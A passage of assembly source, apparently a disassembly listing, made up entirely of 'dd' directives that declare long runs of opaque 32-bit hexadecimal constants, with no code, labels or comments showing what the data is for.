		dd 55377175h, 0D5DEE7Fh, 0AA1B96Eh, 0A527A2E9h,	384E5198h
		dd 883BEBFAh, 7A1D944Dh, 6BD40C2h, 6E4E363Ah, 0CA05651Eh
		dd 0DC8EE4C9h, 1FB1F0Bh, 0A8F10221h, 40F2569Ch,	0DEF675B6h
		dd 76E68007h, 0C620CEFEh, 0A6583D68h, 0B65201B4h, 280DB037h
		dd 0B18E40F0h, 0E93980D5h, 9BD7555h, 3BC26F94h,	918DA028h
		dd 15218967h, 0F65B6CFFh, 0BCDAB26Fh, 69FA5BD8h, 578289FDh
		dd 74BDA6B4h, 9F417244h, 5D5F02C1h, 839A01C7h, 2371770Ch
		dd 2385FC17h, 4C288BAEh, 0D5BD8BF8h, 1ACD0322h,	926070DCh
		dd 4B458F7Fh, 5201005Ah, 0C23FA6BAh, 0D613306Bh, 575F09F8h
		dd 0DD4EDE86h, 1EEBC35Ah, 0F38DCFB4h, 0DA93257Fh, 207CC8D2h
		dd 0FFBD550Bh, 0F7D9662h, 0EDE3494h, 0FD579653h, 0E6278A89h
		dd 896BB7D0h, 3EB644Ah,	7863E990h, 5D1E7B76h, 6265063Dh
		dd 2F45645Eh, 4D167C77h, 8AC2E8A3h, 0CAEA3FE1h,	5D058DDBh
		dd 220EF121h, 0AC4AB013h, 97523C59h, 0BA443DDFh, 78BBF921h
		dd 5DB0C123h, 5E257C96h, 26B88ABCh, 81296BB8h, 27A1C675h
		dd 0E7C5EA19h, 892BC769h, 6575C188h, 0EB918B55h, 50EF48C3h
		dd 5AC9616Dh, 1AB4A95h,	0BE4BE908h, 4E4B32Fh, 802723C1h
		dd 0B96A75C7h, 0FDEA0820h, 0D4CEF448h, 167C3EFBh, 20BF652Fh
		dd 0BEE90220h, 7CCEFB4Dh, 0F6076D9Ah, 562737Dh,	42ADCE60h
		dd 0B9204A2Ch, 4B76E88h, 0BCBEF529h, 0DFE603BEh, 184734h
		dd 0B44BB63Eh, 467DBF3Eh, 0E01A592Dh, 0BD41DCBAh, 5EE6D55Ch
		dd 1FB40456h, 0EB5372A3h, 0E437A224h, 0D9E16DA5h, 2CF43D6Dh
		dd 909F29F9h, 0BDDA9E50h, 59CF20B8h, 0AEF9A79Fh, 38FA2818h
		dd 9013AF3h, 7D68FD01h,	40D6664Bh, 0ED05810Fh, 682054F6h
		dd 0B3A891Ah, 69D9F108h, 0EB4E19DFh, 0B53AFC7Fh, 0ECD800ABh
		dd 5758CE49h, 0AD7CEAB0h, 0D0747D82h, 4C3BC5EFh, 0FBB9CCFFh
		dd 0B5547AB7h, 4C56137Eh, 0CC4F1DE9h, 82B7A067h, 0F7B0BEF6h
		dd 4ACBD642h, 1C9C8820h, 0E7D0F792h, 0DD0FE955h, 0BC69EF2Ch
		dd 0DA48C377h, 2C23548Fh
		dd 0FF61D27Eh, 900732FDh, 52088917h, 0DC072031h, 0D6CF69Ch
		dd 53560158h, 0D76F9668h, 0E2A1440Eh, 0C8C01A5Ah, 15467762h
		dd 0AE4F2142h, 30E99788h, 0E28FDB61h, 0CE3B05B1h, 0B2F21C38h
		dd 0C02D4E1Ch, 9553800Dh, 16D11A1Ah, 5E697CADh,	4D1D630Fh
		dd 59C80538h, 0FD07B5C2h, 3CE6E54Ch, 45CF4AB4h,	9C4428EDh
		dd 1412596Ah, 0FE07EF54h, 0D7228658h, 561AAC90h, 711BF2CBh
		dd 6FF8820Ch, 2C631FD2h, 551292D7h, 947D3A60h, 7674E42Dh
		dd 2F722B0h, 353EBF57h,	67C32D91h, 0FFEF33DFh, 81060676h
		dd 725063CFh, 20D920BEh, 893056BFh, 0A4F5CE68h,	38BF1448h
		dd 0EA28E97Dh, 885AEADDh, 0B619DFACh, 83BA10E7h, 682795BAh
		dd 0EEC57F59h, 0A06EBD49h, 9327579Fh, 69456258h, 95AE1855h
		dd 0B1E9B742h, 70BC2F05h, 0BF4A5B3Bh, 0C8012280h, 0F4D232E9h
		dd 0DE82D178h, 0D8E2DEF1h, 4813675Ch, 535F40A3h, 63CAAA67h
		dd 0F8A6EFD2h, 0EACAAED6h, 4B83C910h, 0AB5A85B8h, 0F45B570Bh
		dd 0DBE90400h, 9E2EECF6h, 9096380Bh, 3D53AFCFh,	6C927622h
		dd 85F43728h, 0BAAC5702h, 7DBB0062h, 2B29A9E9h,	0B90C7244h
		dd 59DE6FECh, 21C1158h,	3180A285h, 5EDFE1D1h, 80D9C76Eh
		dd 351C8F28h, 612C7C0Bh, 1354DEFEh, 0AFFC57h, 1A6E4B0Ah
		dd 0F418EF81h, 0FF4D4BB6h, 84F81CC0h, 0C3D848B3h, 0DA0BFB39h
		dd 3E25F5Bh, 0B5A752F7h, 0CC2D6743h, 0EF0BFE9Ah, 8BDD506Bh
		dd 0C9C65D2Fh, 7EE35BF8h, 4B722BF3h, 56745321h,	691DBBCBh
		dd 0E4A7CA1Eh, 17709DEDh, 2580063Eh, 0A283D716h, 0EE840FEAh
		dd 2DE93898h, 341026EFh, 449DD828h, 123324E2h, 39A400Fh
		dd 15B161Dh, 877BD92Dh,	649A2335h, 0FC572FAh, 5C5C018Bh
		dd 0FC4C6554h, 8FBF4AD1h, 0C82827A8h, 5B7EAD6h,	29478D71h
		dd 8D910FAh, 2CC20116h,	55955F11h, 56088400h, 0A67EDE9h
		dd 646CD118h, 0A0371F88h, 0BAC54841h, 2C83C182h, 2C74F47Eh
		dd 0A4D58051h, 0CD01B412h, 0E19267F4h, 5DEF2D4Eh, 8C571691h
		dd 3460CC72h, 5B04EB51h, 27747B58h, 7D5E6562h, 270E66EFh
		dd 57BD4A16h, 0F5DAF155h, 0DBC56A43h, 836FB3FBh, 59808E9h
		dd 3AF0E269h, 245987B7h, 59A8BE51h, 57D8AFA5h, 79C56059h
		dd 81E4A74Fh, 0B460089Fh, 0A1C3A05h, 8FAAC09h, 272408E2h
		dd 44B7930Bh, 641EF010h, 8355106Fh, 5FA07E92h, 51974F4Ah
		dd 23B40256h, 0CAD6BECCh, 54E45512h, 5967275Ah,	70C1742h
		dd 749FEF80h, 42917A7h,	0AA4E4CBBh, 1C21FBCBh, 0A112E909h
		dd 413668A1h, 0B90F313Eh, 5EC17A7Ah, 43898E9h, 0ECAFE12h
		dd 0C3672585h, 0D6EB6362h, 0E9C90606h, 471082Ch, 4375C1EEh
		dd 8005C549h, 863B0DF3h, 0F507417Eh, 6DAD1193h,	38D4E561h
		dd 2A123638h, 3CE314E6h, 0E2B10739h, 7EDBDA0h, 1BBEEB4h
		dd 0E3193D00h, 0B79A6C43h, 98395B6h, 8716A9EBh,	0DEAC9C82h
		dd 29313501h, 0E07A52D9h, 2B0F2D40h, 6524494Fh,	70E05F8h
		dd 42B0C15Fh, 0CBEC638Ch, 5A01396Ah, 9D2DD810h,	21E4116Ah
		dd 6905784Fh, 7DE41124h, 0DE2831D5h, 0BC6316h, 3D4AEC68h
		dd 781C4918h, 0BED72714h, 1F9BFC1h, 0F15E984h, 0C94AF2FEh
		dd 256676ADh, 615AE454h, 0C42A6FB1h, 77BCEB6Ch,	0EDEFFD2h
		dd 7546628h, 0B60DDECAh, 0E89B37Ah, 0DDF64C02h,	7776F580h
		dd 0D8099D8Eh, 46883133h, 70534168h, 0CFB10AD4h, 0DC39FBC0h
		dd 80C60EEh, 2B45053h, 58E78818h, 6EF5F928h, 0F7C62012h
		dd 0F0B431F9h, 964F2C94h, 2D54A0C1h, 24F7F074h,	0FE252D3h
		dd 25BF0D3Bh, 215FE8F5h, 40EC3B03h, 1EB9F603h, 0F0E76C07h
		dd 0C2B536Fh, 5FCD24CFh, 7427886Eh, 0A6079A7Ah,	5048778h
		dd 7CBB6D14h, 49800884h, 5EB95003h, 5CBF82Bh, 57023D10h
		dd 0AAA1C4AAh, 1651BB2Ch, 0AC0E1AE9h, 4DB9E4B4h, 0A2915084h
		dd 13659D91h, 0D4819D27h, 28874BFBh, 3F5E555Dh,	967DF0CBh
		dd 8D68B5DDh, 619F4642h, 5262C74Dh, 6028EE05h, 0F001EBC0h
		dd 21CD7ECFh, 6E6B53Bh,	14811C08h, 2DFF2F5Ah, 9C00E279h
		dd 91B9B2E9h, 94588DC8h, 471D5FEh, 0BC5B49F8h, 0B1AE9203h
		dd 0B5E5285Eh, 4ABBB3BAh, 97BC5BAh, 8CC619B8h, 2B8F204h
		dd 0C0C14DD4h, 672040A3h, 942984Ah, 979DAF9h, 55A7BDFCh
		dd 0B1BDB93Ch, 19801D4Ch, 98A6BB53h, 29259410h,	88CA80DDh
		dd 0EA2DAB5Ah, 350240A4h, 0BB67500Ah, 0D817A097h, 294F6009h
		dd 8F0B7543h, 64096554h, 2DCEDFB9h, 0B5A1A6BAh,	258038D5h
		dd 892D3E7h, 5A12D9D0h,	0EB5A86ECh, 685B9841h, 0B33E1E2Ah
		dd 4B7F79CBh, 805EA92Fh, 0AA196187h, 0EBF895FDh, 9E80B0BCh
		dd 2965E962h, 83B9AC74h, 16DDF10Ch, 62E8C934h, 40080607h
		dd 99CAC8F5h, 0A40182C8h, 97B2716Eh, 9D843CAAh,	68825BA9h
		dd 0CDF5656Eh, 1A018B43h, 37570A69h, 2A6D1C07h,	3DEE4B38h
		dd 0CACE28D0h, 58171268h, 816C8E08h, 726AADEDh,	570C8B5Ch
		dd 89050401h, 0AA88E4AEh, 58E3205Eh, 5F1E0303h,	21983566h
		dd 0E92D01C4h, 0D522C284h, 629DF214h, 66E55FB6h, 545960A6h
		dd 0B16FAC6Eh, 0D36AFB80h, 83C1DF3Dh, 0D35D8B02h, 8A48E5Ah
		dd 90E02575h, 2C1218EEh, 0BCFC13BAh, 363FE9C2h,	8A1990D5h
		dd 0F329802Dh, 8751E3FCh, 0C1016E0Eh, 2C2018A4h, 0F0F0FB14h
		dd 0CA6D4E2Eh, 0C5FE10A1h, 75EA6631h, 0D705D4BBh, 2D5E6A79h
		dd 0B07A01B1h, 0C95BF350h, 4B4CAAA2h, 0B8499512h, 8BEBE403h
		dd 11A710CDh, 448DB903h, 57D14720h, 747FA4h, 51CC8303h
		dd 1BED94B1h, 2BE90840h, 25634A52h, 9FE3C4FDh, 0AB75E922h
		dd 4F027709h, 505C0E2Ah, 9719F0D0h, 0C58A27D1h,	893F6CB8h
		dd 5D131679h, 3E085028h, 7908C22Dh, 9DC601FAh, 725F4C2Ch
		dd 24F60077h, 0E93EB521h, 3F1D417Eh, 22B9DF0Bh,	815A66F6h
		dd 506CEABBh, 136FD3F1h, 3FDEFF1Dh, 0E3B23817h,	47CF1230h
		dd 4C4761FFh, 59313E5Bh, 0A63B050Bh, 72089638h,	68BF019Eh
		dd 2E290F7Ch, 0DA7CAB1h, 9FA419F4h, 15078400h, 1280BD33h
		dd 0EECCEAF8h, 0CBEB4895h, 46E984CCh, 0AD0490F8h, 0AF19BA68h
		dd 0F1750837h, 0B27077AFh, 0B5A92E14h, 80207A5Ah, 5277F634h
		dd 3027DC28h, 0D3DDC309h, 7A554D80h, 8E3B2199h,	0D48327D1h
		dd 84F59D70h, 0EB1EC815h, 5EF80792h, 2FDC59A8h,	0E21FDC17h
		dd 0BE1D5050h, 42644B7Ch, 1479F486h, 0BA92148h,	0F7FEE732h
		dd 28610B39h, 0EFBD26FEh, 702FB009h, 55A902B5h,	0DD213C59h
		dd 72D6BE1h, 40FCC29Bh,	8088FE26h, 310316B8h, 0C5214BECh
		dd 0FC20758h, 0C6489B7Ah, 3542FE8h, 205EB9A2h, 4C56BE88h
		dd 0FB7130Ch, 9338BB76h, 42E79CBFh, 0B27C1E66h,	0D82EAC9h
		dd 0B1EF29E2h, 402ED03Dh, 16E1F63h, 0CF5A097Eh,	61C4DDA2h
		dd 0D88903C6h, 913F450h, 9D619E71h, 0C10744C5h,	1069CC0Fh
		dd 247B49E6h, 2053C05h,	116109F0h, 46E5115Dh, 0FDA7E775h
		dd 0A126147Dh, 0BA1495CAh, 9DD180E4h, 57690154h, 2998BBBEh
		dd 6D3D8909h, 3533F745h, 92EDCA4Bh, 5DED614Ah, 0B5BE00B4h
		dd 9142D51h, 5B0933DAh,	0DFCC24A2h, 3658B809h, 1CDBE917h
		dd 55294C8h, 583F3ABAh,	6AE90530h, 0D9DEF8A4h, 133BC014h
		dd 3F0EEAF0h, 74EA16ACh, 18E2FF0Bh, 77D368C2h, 0F5A74ED9h
		dd 3710FB8Bh, 18044815h, 0A8FBE970h, 2C6854CCh,	62996738h
		dd 96F784B5h, 43F925D7h, 21EBE77Ch, 68255770h, 5E5D43DAh
		dd 0A1D8F9F1h, 5B7C5686h
		dd 0D1B25FA2h, 0FE9DFAD0h, 0C45894FFh, 2047A472h, 0F3E0EE86h
		dd 0D1F2D898h, 5D599092h, 37B95EACh, 0F409B4A5h, 0FB3B5D45h
		dd 683E282Dh, 4D27E993h, 0D6A0ABB1h, 0E5BFBD40h, 0CDE6C5Ch
		dd 5027B547h, 1011885Ch, 8100D068h, 1A06B6F1h, 72F84926h
		dd 5D25CA9Ch, 56ADA4E7h, 0B8575288h, 634AE91Ah,	55E047CDh
		dd 26A3A6C1h, 0CF680B31h, 0EBFF5E54h, 20CE147Dh, 687CA919h
		dd 0F8156D62h, 0B251072Ch, 0CDE166A6h, 6AC53B59h, 99382BBCh
		dd 0D8C0AA25h, 0FE41D754h, 1A45F66Ah, 5D18CFCCh, 41F871CCh
		dd 70B465Dh, 3E1C0C9h, 0E4934FA2h, 8FD79542h, 0EF226537h
		dd 52AECCD4h, 8421A393h, 6BB884E9h, 30C98101h, 0EC7EE671h
		dd 0EEF5D310h, 0BF33DBDDh, 28704413h, 0C30580B2h, 6A9F685Ch
		dd 0E150BF32h, 0AC96E87Ch, 2B81EA08h, 680FFC1h,	59CC8838h
		dd 30267DB2h, 790881E2h, 33F8257Bh, 6520E641h, 30984BD5h
		dd 376FEDB7h, 7651BF2Fh, 0DAE48C90h, 0FB0FBDC8h, 4A27707Bh
		dd 8781C7A9h, 31DDF7EBh, 0B00996D3h, 149F2A8Fh,	0DAE31ECDh
		dd 0C625816h, 1916768Eh, 730B432Dh, 0B2957EBEh,	0CF604604h
		dd 0F02E7814h, 0B807F754h, 21003718h, 5420E9F3h, 9F68F1Fh
		dd 39404A67h, 523C8E00h, 11295B7h, 38AA5EF2h, 41E580A7h
		dd 1FCE379h, 306AFD68h,	1981B812h, 609FEC72h, 4F9A760Eh
		dd 0A501BF0Ch, 8B59859Eh, 0B684143Ah, 0BF057420h, 35515220h
		dd 580789E9h, 676F734Dh, 8F5592CFh, 0D509E5D0h,	295B30h
		dd 530E02DAh, 4BFEB026h, 749B8854h, 17F46E14h, 242C77A2h
		dd 0EB02836Ch, 740C3468h, 40F6850h, 0FF72B7E9h,	0D8906C22h
		dd 0F7BE13ADh, 31880AB8h, 0A9CE3F8Ch, 668240A5h, 29D0B341h
		dd 2705EED0h, 9A746FE7h, 5F5040C2h, 0D705EE98h,	0BEAFE40h
		dd 34881B13h, 0AF7529C2h, 840223A5h, 0CA0C022Eh, 31FAF0F3h
		dd 0DC17EDF4h, 0FDCB6F90h, 1D3A2F66h, 0A72D735Ah, 95E1C4A9h
		dd 5177753Ah, 55F952A2h, 0FA7CE904h, 0ECEBC0A4h, 20C9302Bh
		dd 0DD39B90Ch, 4A29D839h, 80834E3Ch, 505FD3E9h,	5C2568F3h
		dd 0FF45E94h, 51C8B70Bh, 76A21854h, 327C95C9h, 0B7FF5CC5h
		dd 0D8E91338h, 0B354AD83h, 0AF17BD0Fh, 71428AFFh, 9B0A1A90h
		dd 0C07C8C40h, 37772301h, 0BC804A56h, 0D9AB368Dh, 5A5FD101h
		dd 0E98426F2h, 5E49BF3Ah, 997055F7h, 7E25139Ch,	0D82108D2h
		dd 4EF36804h, 133D3498h, 0BC3A0274h, 0C0BC5ED5h, 1378C987h
		dd 0D3B708CEh, 0EB2FD74h, 63DEBF68h, 71B0F69Fh,	0E80BD3BAh
		dd 0A4EE8956h, 0A5D55D58h, 0F8994D09h, 74E4C22h, 864B0906h
		dd 0F63B0E34h, 10849305h, 4F68C181h, 0B6FA84CBh, 0DA8B3B6Eh
		dd 0BF4FA0CBh, 0CCC94D46h, 5F70BF64h, 0FE2CBFB3h, 0F4A7B609h
		dd 300A60D9h, 0FEB543A5h, 130CC88Bh, 0B7A6AF5Bh, 0D0DF654Ch
		dd 1F415E25h, 67E04B38h, 0D9E9F19Fh, 285C20E4h,	0A268A11Bh
		dd 0E23B8D6Ah, 5AA431FFh, 6F79AA2Ah, 2A6DF13Eh,	0B150D868h
		dd 0DC10151h, 3A940802h, 61EAEF13h, 89AE1A75h, 92095BA6h
		dd 8C7BDC23h, 38AF1974h, 0A8F70565h, 3E5DFCE0h,	15935559h
		dd 0AE253423h, 3FD50C08h, 4B25B115h, 6B7B3178h,	4FB7747h
		dd 671760B2h, 0EE997478h, 0E2DE338h, 4A811B66h,	2051F2A1h
		dd 0EEE9200Dh, 9188FE5Eh, 46195B58h, 1CCBC06Bh,	5FB6054Eh
		dd 64072D7Dh, 6CC178A0h, 529D3D43h, 0B088260h, 92B4DDE7h
		dd 5CD9DE35h, 0DFC5CD09h, 0B2E24163h, 5B1303D4h, 3F59EA8Ch
		dd 97A4F030h, 0AE5C961Dh, 0D151D9CEh, 0E985CD63h, 9B12AF9Fh
		dd 2E116DEFh, 0B83E47E1h, 505EF5C7h, 2C4A8AA7h,	76F4DA39h
		dd 0D81641F0h, 0DEB53862h, 6FC8FA21h, 1EC106BEh, 5EF70159h
		dd 7FFBE12Fh, 5479E3B3h, 6BEB7D6h, 0DAF3CB62h, 0DD972C31h
		dd 91981785h, 6C75E997h, 6A8D3724h, 53590ED2h, 0FA4C2F9Ch
		dd 0E5E0909h, 0C4FF0425h, 529E0E4h, 52FAD82Fh, 2E8DC157h
		dd 0AB84C303h, 8A4E3CE6h, 32F35A4Eh, 833BBA62h,	49EF3106h
		dd 40249A23h, 2D191CA0h, 9B28B0DFh, 9D149FEEh, 702554BFh
		dd 189D461Bh, 9774ACEBh, 49136DC5h, 0EF60601Ch,	552ADADBh
		dd 0B0902252h, 9FDAED20h, 0FC9F23FAh, 0D1808C16h, 3E0FCD91h
		dd 6448F527h, 0C9BB4FADh, 0BFF305F2h, 0C824FE1h, 65F215E0h
		dd 8A0CED4h, 2398E918h,	2E84F64Fh, 8FA1175h, 0E825A869h
		dd 0BD205511h, 3CF70FADh, 73E600F4h, 0FE292ABFh, 26D25E9h
		dd 0D780CAEEh, 0CCD3FCD0h, 0BAE00AFFh, 0F6A7A791h, 9D4B9468h
		dd 0C2F5420Ah, 0C796F67Eh, 0E29FC5FBh, 24789DBh, 42069497h
		dd 6EE07FD9h, 0C604B951h, 0E9389867h, 6856B0C5h, 4D451EAEh
		dd 6E5C871Eh, 9F5CCBFDh, 7422375Dh, 0B20B8694h,	19BF467Ch
		dd 0D0EA0BE9h, 17912258h, 11A2C046h, 0EEC4B385h, 0EFC1E930h
		dd 0CFDCB502h, 40EBD449h, 846E403Fh, 0FE9A8595h, 10B1CEBAh
		dd 9242CC3h, 0F3253C77h, 0F25B70FAh, 0B85EF6D3h, 6B71F7E2h
		dd 0FA07A054h, 0BB9F61EAh, 88D5E5FEh, 12D3A23Ah, 0E0B0EA2Dh
		dd 5B94F659h, 0CE3FD0D4h, 442D4DF3h, 21E9816Fh,	0EE4013E7h
		dd 0C77A3D9h, 2045E994h, 0CF0BF581h, 0C656EF25h, 0A07E25E1h
		dd 0C6B611DFh, 0AC27123Eh, 0EAF94E24h, 0A2D5E24Eh, 0BE7CE8CCh
		dd 0BD071985h, 0BE169449h, 0DD01A56Eh, 0ABF7347h, 9CDFE9D8h
		dd 0B8AA5D99h, 3A97F13Fh, 0C47164ABh, 0CA1FBD1h, 8646DDC6h
		dd 3020B209h, 0D45E80EAh, 24C2805Ah, 0B682876h,	6FE812F7h
		dd 6880E8C0h, 2D69759h,	5B323F61h, 0B34255CDh, 5E5BF598h
		dd 0E9418121h, 0CF72A5FAh, 0C5706E04h, 8191FE96h, 0CC2B0D62h
		dd 0EC5C1623h, 39298111h, 0FE7027B9h, 0F7531898h, 479E0C5Fh
		dd 31D83Eh, 0B5954DE9h,	0A1CB01E3h, 2101DAD3h, 361FF8DEh
		dd 68E164BCh, 0D87F49FCh, 0F52FE99Ch, 6820B876h, 0B9325B99h
		dd 0E01811Dh, 44203A65h, 32E2129Eh, 0D10909C7h,	0F81C4057h
		dd 160C3247h, 78CF7AAh,	0C041A1EAh, 0D68EB657h,	0D9974657h
		dd 3FD64993h, 53955712h, 1F05C007h, 9954A113h, 0C3E27FDAh
		dd 0CBF6D950h, 9B5F4E2Bh, 5DC1EAA2h, 42533820h,	0AAF469EFh
		dd 0C6EB9D64h, 0DEC7AC9h, 79C3A6C8h, 80BC5E51h,	3EDC103h
		dd 7CE813B0h, 29230612h, 0C9DBE2EFh, 0C24574D3h, 22D51057h
		dd 49444307h, 0AF807880h, 2F20E02Dh, 0F9B731DFh, 9BE9670Bh
		dd 95BCCAF8h, 4D6CDA71h, 360E404Ch, 2DE9FED0h, 13D305FCh
		dd 0E3AA7434h, 0E1C50946h, 1256F1FEh, 0E353F43Bh, 1E0F1109h
		dd 0B5090044h, 0BFFAF528h, 0B504060Ah, 0FF5269h, 0FECD74D3h
		dd 0EF0381C0h, 47BB2B55h, 7505FAE9h, 4ACA9B9Bh,	8627225Dh
		dd 70CF6C1Fh, 3ED98202h, 16FB1165h, 137BCA6Ah, 0CEF8F368h
		dd 918426D4h, 0EC77EABEh, 0CF165B5h, 0A41AA22Ah, 0E97BF1AFh
		dd 5B386ED5h, 73902568h, 4D6AC1F1h, 5F1E443h, 0D6DBE6Eh
		dd 96D381AFh, 57EE1227h, 0F6690A44h, 3041FDAFh,	2702F388h
		dd 2D6921C6h, 0D340554Ch, 0C082193Ch, 810F6781h, 4E36F5Ch
		dd 0FEC60DC2h, 973C08D9h, 9B49B7FDh, 54D8C0CAh,	7F92569h
		dd 8A08774h, 5FD5E49Fh,	7F82A196h, 0BEC0D8ECh, 6D51363h
		dd 26520501h, 0F0014633h, 17532D70h, 11FD770h, 525A1646h
		dd 9A83A7Ah, 5325D291h,	7A810289h, 71176B93h, 0A02B40h
		dd 0EB77569Fh, 9534FB4Ah, 9A0161AEh, 48B9C5h, 4DEE80CEh
		dd 0E75AF530h, 51D4FFDBh, 0EB09ACADh, 0CA55333Dh, 5683FDFFh
		dd 400BDB9Ch, 11190368h
		dd 0FB055754h, 41C448C4h, 5D25E809h, 14755DB2h,	0BF57002Ch
		dd 60C8691Ch, 9605E8BDh, 0FD019F37h, 0F06795EFh, 6AAC5632h
		dd 7CEC1B5h, 0BF3E2A5Dh, 3D684845h, 0A9FCD8BBh,	0C98559A0h
		dd 5C7C6D4h, 4ABE0B54h,	69621180h, 0C2D67F3h, 0C9B1624Bh
		dd 7515E25Dh, 0D50E0974h, 0A4220817h, 3460BDCh,	127F710Bh
		dd 0FA147F09h, 680452FEh, 22807721h, 74911482h,	0F87E2724h
		dd 0AA530513h, 4C738CA8h, 4D20ABC2h, 8F2AF797h,	0EB4912B1h
		dd 975F8928h, 0AC4CBC5Fh, 0E8C11305h, 11AF0818h, 92D3210Ch
		dd 8AD451F5h, 9C67BA2Fh, 81C2C56Fh, 0BE2FE9E5h,	3F95017h
		dd 0AE4DA024h, 7F72C43h, 0D3505203h, 3730BFF0h,	0E46BE6B2h
		dd 0F45EB7FEh, 8EE86CFh, 0B4BD040Ah, 0AB77D840h, 0CE820B7Dh
		dd 1051AB8h, 0E2DFh, 2A47C9E5h,	0D1410906h, 0F05D49E1h
		dd 2C6CEC2Dh, 7BC3B17h,	51ABEF1h, 0E800BB0Bh, 44F80540h
		dd 0FB024CB9h, 0A2DDBA20h, 0EA92DFEFh, 4A01FAFDh, 10A0D8F9h
		dd 7345E6Bh, 481BED72h,	2645C610h, 0BE59629h, 0ED59A154h
		dd 0B60B4824h, 330CA8Ch, 0CA7BBDABh, 4B17585Eh,	0CAFD9028h
		dd 9D7920B1h, 340BFD90h, 57F153AEh, 2D2F9102h, 8100B359h
		dd 6D1D79E2h, 0D2F72D0Ah, 49CA7F98h, 61034A1Dh,	6E4B81BDh
		dd 47E9FF0Bh, 0BE020438h, 20CF7D91h, 0C7004362h, 31E97837h
		dd 54219061h, 0B9C4273Ch, 7D5638E0h, 9F12992h, 997D24FEh
		dd 5F7BEA06h, 403996F2h, 5148BF60h, 0C1251F4Ah,	590680E7h
		dd 2FBA6B0Bh, 0A952AEE9h, 0A504AB98h, 0CE31964Eh, 0AFB1BA84h
		dd 0DDE32947h, 42283044h, 191E3AC4h, 83EA66DEh,	20394B48h
		dd 7BB1803Dh, 0F2DB9F95h, 0EC0BA2A0h, 0FA491848h, 32F52084h
		dd 9B5E5F76h, 0B0B9F7C0h, 551A2F09h, 68FF4DE2h,	2FC328EBh
		dd 6C620CD5h, 0CFD7E0FDh, 0A7B0B70Ah, 0F2835F67h, 8201F58Ah
		dd 32EE875Ch, 8A0B92EBh, 0C5DB82F6h, 7A034136h,	0C7560F30h
		dd 0D0FE08E2h, 0C8CEE93Ch, 0F4D36881h, 0B16EF5CDh, 25B83E4Bh
		dd 0C9703BADh, 0FC11330Ah, 25DDA4CDh, 267FF34Ah, 958411Dh
		dd 2A1B6463h, 6109D4D6h, 8B34590Eh, 2624D2F4h, 4FF881C9h
		dd 0AF882AE1h, 5A6C40E5h, 2CC38009h, 9C048766h,	4BACD304h
		dd 92C6562Eh, 54250401h, 27EFA33Dh, 7CEE2C14h, 0F3C94FEBh
		dd 9D8D9F42h, 0CB072BBCh, 0CF21283h, 8E4C058h, 80760306h
		dd 0C47C7373h, 50E22825h, 0BE94D286h, 0BE682890h, 0B52DA86Ch
		dd 0ED499D77h, 58DD97A6h, 1EEA6485h, 17D79A4Fh,	0E0C14583h
		dd 0FE317825h, 0A25D4BE6h, 1029F5Fh, 6BB135E9h,	0EF961DF9h
		dd 5DE7ED1Ch, 0D598C3E5h, 4071E919h, 0EE5E2909h, 611A60EEh
		dd 16293F11h, 29810E31h, 832E9F5h, 0BC3AC865h, 0F7DCB1A0h
		dd 83E6276Ah, 0DB69552Ah, 63D309A9h, 25F2CFD1h,	9DCA7CBDh
		dd 6CDAC308h, 17ED2624h, 0F0459974h, 0A097BF7Eh, 2E6D499Fh
		dd 61C79845h, 0CD890D4Dh, 0D6A33E59h, 6246E909h, 0B6E7957h
		dd 0A007C51h, 322A06F4h, 5C186C98h, 0E20CA21Ah,	0FE3B06EDh
		dd 4DAF721h, 0D9AFA3A0h, 0D0039F27h, 2FA39F16h,	1DBA623Eh
		dd 5373FBE1h, 98B9E38Ch, 4CCE4A52h, 0D54B7D45h,	13DE60FCh
		dd 5D4AAFCBh, 203DFECFh, 5CFBB5F2h, 0C5DD7EA5h,	7520E4C4h
		dd 0C182229Eh, 602A19DFh, 8003EA40h, 0C2BDFE29h, 2F3D7036h
		dd 0E3A8204Eh, 3B8310A6h, 8406254Ah, 8FAF28BEh,	0E0022794h
		dd 0FBE56E8h, 6E3C2755h, 44B6BB81h, 0C630819Eh,	11BF3928h
		dd 0BA57006Eh, 6DA2097Dh, 1EA8315h, 0A4C202A6h,	807F6142h
		dd 645392A1h, 0D629345Ch, 5A080542h, 38D0FF5Bh,	44786806h
		dd 64BD341Dh, 8E6C2589h, 0EF7334C6h, 58B5F497h,	5782F9BDh
		dd 0D0CA8904h, 0F5814D41h, 2F5A8F3Eh, 42D623h, 0DE3FFE35h
		dd 0C7162161h, 63AACDE9h, 38D15E01h, 396225F0h,	540713CEh
		dd 71FAAE44h, 394FF34h,	6885B1E2h, 7B5EF05h, 0EC7DEF2Bh
		dd 0E2E81955h, 77D86BB9h, 0E45A5DD5h, 51696809h, 54492751h
		dd 98FD4F15h, 64BD0DA1h, 1C7DD695h, 0CB9F6079h,	5D959A7Ah
		dd 68018247h, 44D95532h, 0F4E66471h, 4780834Dh,	7CDA103Ch
		dd 584890D8h, 4ECE4C4Eh, 68C580F8h, 1BB3AF15h, 80EBE516h
		dd 10A0BFEAh, 811D5400h, 0BD325CF7h, 400CC141h,	630A0Dh
		dd 0A0E70737h, 83DF16D4h, 2443D3D1h, 0C6B259A2h, 0FC0E7298h
		dd 0C1C8844Dh, 0A25156C3h, 0FCCB8A30h, 6008A2EBh, 0BDE4D705h
		dd 162D4910h, 0C9A209FEh, 62BBC5D7h, 1A8BED81h,	38D4D866h
		dd 3A1713ADh, 9C1774AAh, 0CB406E61h, 0B6123DBBh, 0DD317C84h
		dd 16C9F95Bh, 0A9620426h, 1B53703Eh, 1C60462Dh,	78E1C3EBh
		dd 0C0012BE2h, 2BC50E6Ch, 524E4972h, 0F597EA2Fh, 16C7643Fh
		dd 52A0350Eh, 0F22D514Fh, 36BC5A01h, 6BE94048h,	0B1F2176Ah
		dd 7A4A59A9h, 0CAF8AA5h, 0E9849654h, 34D3915Dh,	94BFD5EFh
		dd 58A1C0D3h, 8B61FA88h, 0FEE88CC3h, 0F9C5713Eh, 14CD3EDBh
		dd 979E9F01h, 89F4F96Bh, 2730565Bh, 254A15F5h, 5399274Ch
		dd 5B81C818h, 74514C5Eh, 96AB80Bh, 0B19E005Dh, 120B9728h
		dd 0FA95E943h, 1C51949h, 37247174h, 95D6F670h, 0A7E6E7D2h
		dd 0E5441816h, 0AF4048A8h, 0EDA3C1C2h, 0F4AC6D4Ch, 0C5B7E821h
		dd 575AF1Fh, 0BFBC605Ch, 665BBA07h, 0D0B799Ah, 0B5F075E6h
		dd 572DFF9Eh, 20B955B0h, 939F1895h, 67BA8009h, 2DE62914h
		dd 0BE814FBAh, 72DCEF87h, 4ACA52Eh, 0AAFECE53h,	8DA23BECh
		dd 8AA28ED0h, 0A569D8F9h, 12BA1F7Fh, 1AB6AF0Fh,	0CD897BD4h
